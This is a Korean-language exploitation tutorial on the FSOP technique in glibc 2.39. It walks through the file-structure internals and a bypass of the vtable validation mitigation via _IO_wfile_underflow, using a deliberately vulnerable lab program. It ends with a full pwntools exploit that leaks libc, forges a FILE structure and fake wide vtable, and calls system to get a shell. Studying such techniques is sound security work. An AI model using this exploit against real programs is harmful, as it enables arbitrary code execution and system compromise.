[Exploit Tech Analysis] FSOP
실습에 사용한 코드는 다음과 같다.
#include <stdio.h>
int main()
{
printf("stderr : %p\n", stderr);
read(0, stderr, 0x200);
fflush(stderr);
return 0;
}
1. Overview / Mitigation
일반적으로 파일들은 다음과 같이 FILE
구조체로 정의되며, FILE
구조체는 _IO_FILE
의 alias이다. _IO_FILE
구조체를 살펴보면 다음과 같다.
// Def. in /libio/bits/types/FILE.h, line 7 (@glibc-2.39)
typedef struct _IO_FILE FILE;
// Def. in /libio/bits/types/struct_FILE.h, line 49 (@glibc-2.39)
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
...
}
주의할 사실은 실제로 파일이 할당될 때는 내부적으로 _IO_FILE_complete
구조체로 할당된다는 것이다.
struct _IO_FILE_complete
{
struct _IO_FILE _file;
...
struct _IO_wide_data *_wide_data;
...
};
여기서 중요한 것은 _wide_data
이며, 이 구조체의 원형인 _IO_wide_data
를 관찰하면 다음과 같다.
// Def. in /libio/libio.h, line 121 (@glibc-2.39)
struct _IO_wide_data
{
...
const struct _IO_jump_t *_wide_vtable;
};
여기서 잠깐 구조를 정리해보면 다음과 같다.이때 _IO_jump_t
로 선언된 _wide_vtable
은 이름에서 알 수 있듯 virtual function table(가상함수테이블)이며, 해당 파일에 대한 동작을 정의하는 함수 포인터들로 이루어져 있다. 구조를 살펴보면 다음과 같다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
...
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
};
즉 우리가 read()
, write()
등을 호출하면 실제로는 해당 file->read()
, file->write()
등을 호출해 기능이 실행되는 것이다. 즉, 다음과 같은 공격을 생각해볼 수 있다.
- 특정 파일의
_IO_jump_t
를 찾아,read
필드의 값을 내가 원하는 함수로 덮는다. - 해당 파일에 대해서
read()
를 실행하면, 실제로read()
가 실행되는 대신 내가 원하는 함수가 실행되게 된다.
그러나 glibc-2.29부터, vtable에 속하는 함수를 부를 때 다음과 같이 주소를 검사하는 mitigation이 도입되며, 이런 방법은 더 이상 사용할 수 없게 되었다.
// Def. in /libio/libioP.h, line 1021 (@glibc-2.39)
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
따라서 이를 우회해야 할 필요가 생겼고, 다음과 같은 우회 방법을 생각해볼 수 있다.
IO_jump_t
안의 원하는 필드를 vtable안의 특정 함수(A)로 덮어씀- 이 역시 vtable안의 함수이므로
IO_validate_vtable()
을 통과함 - 이때 이 함수(A)는, 검증 없이 vtable 안의 함수(B)를 호출하는 흐름을 가지고 있음
- 따라서 B를 우리가 원하는 함수로 덮어쓰면 흐름 제어가 가능함
이 과정을 그림으로 정리하면 다음과 같다.
- 변조된 파일 객체에 대해
close()
를 수행함 close()
대신A()
가 실행됨A()
는B()
를 검증 없이 호출함B()
는 공격자가 설정한 임의 함수이므로 실행 흐름이 옮겨짐
2. _IO_wfile_underflow()
탐구
우리가 공격에 사용할 함수인 _IO_wfile_underflow()
는 다음과 같은 흐름을 가진다.
// Def. in /libio/wfileops.c, line 110 (@glibc-2.39)
wint_t
_IO_wfile_underflow (FILE *fp)
{
...
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN) // (1)
return WEOF;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) // (2)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) // (3)
return *fp->_wide_data->_IO_read_ptr;
...
if (fp->_IO_read_ptr < fp->_IO_read_end) // (4)
{
...
}
if (fp->_IO_buf_base == NULL) // (5)
{
...
}
...
if (fp->_wide_data->_IO_buf_base == NULL) // (6)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
}
// Def. in /libio/libio.h, line 224 (@glibc-2.39)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
// Def. in /libio/wgenops.c, line 363 (@glibc-2.39)
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // Important!
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
중요 조건과 함수 호출만 그림으로 정리해보면 다음과 같다.

따라서 저 조건을 만족하도록 _IO_FILE_complete
구조체를 구성하려면 다음과 같아야 한다.
_IO_EOF_SEEN
flag가 설정되어있지 않아야 함_IO_NO_READS
flag가 설정되어있지 않아야 함_wide_data->_IO_read_ptr
가_wide_data->_IO_read_end
보다 크거나 같아야 함. (둘 다 0으로 덮어주면 가능함)_IO_read_ptr
이_IO_read_end
보다 크거나 같아야 함 (두 값을 각각 1, 0으로 설정해주면 가능함)_IO_buf_base
가 NULL이어야 함_wide_data->_IO_buf_base
가 NULL이 아니어야 함
3. 공격
3-1. 정보 수집
우선 fflush()
의 흐름을 따라가다 보면, 다음과 같이 vtable 안의 offset이 0x60인 _IO_file_sync
를 호출한다는 점을 볼 수 있다.

이후 함수 테이블을 다시 살펴보면, 다음과 같다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
...
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
};
우리가 공격에 사용할 함수는 __underflow
이며, 특히 이 __underflow
에 _IO_wfile_underflow()
가 적힌 vtable을 사용할 것이다. 모든 vtable들이 __io_vtables
에 array로 연결되어 있다는 점을 통해 다음과 같이 __io_vtables
를 전체 탐색하다 보면 다음과 깉이 _IO_wfile_jumps
에 연결된 _IO_wfile_underflow()
를 발견할 수 있다. 또한 이 결과로부터 오프셋은 0x20
임을 쉽게 알 수 있다.

우리가 사용할 것은 _IO_wfile_jumps
안에서 불리는 _IO_wdoallocbuf
이며, 특히 다음 구문을 사용할 것이다.
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
이때 _IO_WDOALLOCATE()
메크로는 위에서 봤듯 vtable안의 __doallocate
필드에 적힌 함수를 호출한다. 위의 구조체로부터 이 필드의 오프셋이 0x68
이라는 점을 알면, 다음과 같은 공격 방향을 설정할 수 있다.
fflush()
의vtable
을IO_wfile_underflow()
로 덮어씀- 가짜
vtable
을 만들어doallocate
가system()
을 가리키도록 함 fp->flags
의 상위 비트에; sh
를 넣어 결과적으로doallocate(fp)
가system(fp->flags)
가 되도록 함
3-2. Payload 작성
이와 위에서 논의한 조건들을 고려해 _IO_FILE_complete
를 구성하면 다음과 같다.
io_file_complete = FileStructure()
io_file_complete.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
io_file_complete.flags = io_file_complete.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
io_file_complete.chain = stderr
io_file_complete._lock = libc.bss() + 0x1000
io_file_complete.vtable = libc.symbols['_IO_wfile_jumps'] + 0x20 - 0x60
io_file_complete._wide_data = libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
io_file_complete._IO_buf_base = 1
io_file_complete._IO_save_base = 0
io_file_complete = bytes(io_file_complete)
fake_wide = p64(0) #_IO_read_ptr
fake_wide += p64(0) #_IO_read_end
fake_wide += p64(0) #_IO_read_base
fake_wide += p64(0) #_IO_write_base
fake_wide += p64(0) #_IO_write_ptr
fake_wide += p64(0) #_IO_write_end
fake_wide += p64(0) #_IO_buf_base
fake_wide += p64(0) #_IO_buf_end
fake_wide += p64(0) #_IO_save_base
fake_wide += p64(libc.symbols["system"]) # libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) # vtable
그림으로 표현하면 다음과 같다.

fflush()
는vtable+0x60
을 읽어_IO_file_sync
를 호출하려고 한다.
그러나vtable
에 이미_IO_wfile_jumps + 0x20 - 0x60
이 쓰여져 있으므로 결국_IO_wfile_jumps + 0x20
에 쓰인_IO_wfile_underflow()
를 호출하게 된다.- 여러 조건을 통과한 후,
_IO_WDOALLOCATE
는_wide_vtable + 0x68
을 읽어__doallocate()
를 호출하려고 한다. 그러나wide_vtable
에 이미fake_wide + 0x48 - 0x68
이 쓰여져 있으므로 결국fake_wide + 0x48
에 쓰인system()
를 호출하게 된다.
전체 익스플로잇 코드는 다음과 같다.
펼치기/접기
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch = 'amd64'
p = process("./fsop")
p.recvuntil(b"stderr : ")
stderr = int(p.recvline().strip(), 16)
libc.address = stderr - libc.symbols["_IO_2_1_stderr_"]
success(f"stderr address: {hex(stderr)}")
success(f"libc base: {hex(libc.address)}")
io_file_complete = FileStructure()
io_file_complete.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
io_file_complete.flags = io_file_complete.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
io_file_complete.chain = stderr
io_file_complete._lock = libc.bss() + 0x1000
io_file_complete.vtable = libc.symbols['_IO_wfile_jumps'] + 0x20 - 0x60
io_file_complete._wide_data = libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
io_file_complete._IO_buf_base = 1
io_file_complete._IO_save_base = 0
print(io_file_complete)
io_file_complete = bytes(io_file_complete)
# fp->_wide_data->_IO_buf_base == NULL
fake_wide = p64(0) #_IO_read_ptr
fake_wide += p64(0) #_IO_read_end
fake_wide += p64(0) #_IO_read_base
fake_wide += p64(0) #_IO_write_base
fake_wide += p64(0) #_IO_write_ptr
fake_wide += p64(0) #_IO_write_end
fake_wide += p64(0) #_IO_buf_base
fake_wide += p64(0) #_IO_buf_end
fake_wide += p64(0) #_IO_save_base
fake_wide += p64(libc.symbols["system"]) # libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) # vtable
p.send(io_file_complete + fake_wide)
p.interactive()
이를 실행하면 쉘을 얻을 수 있다.
Leave a comment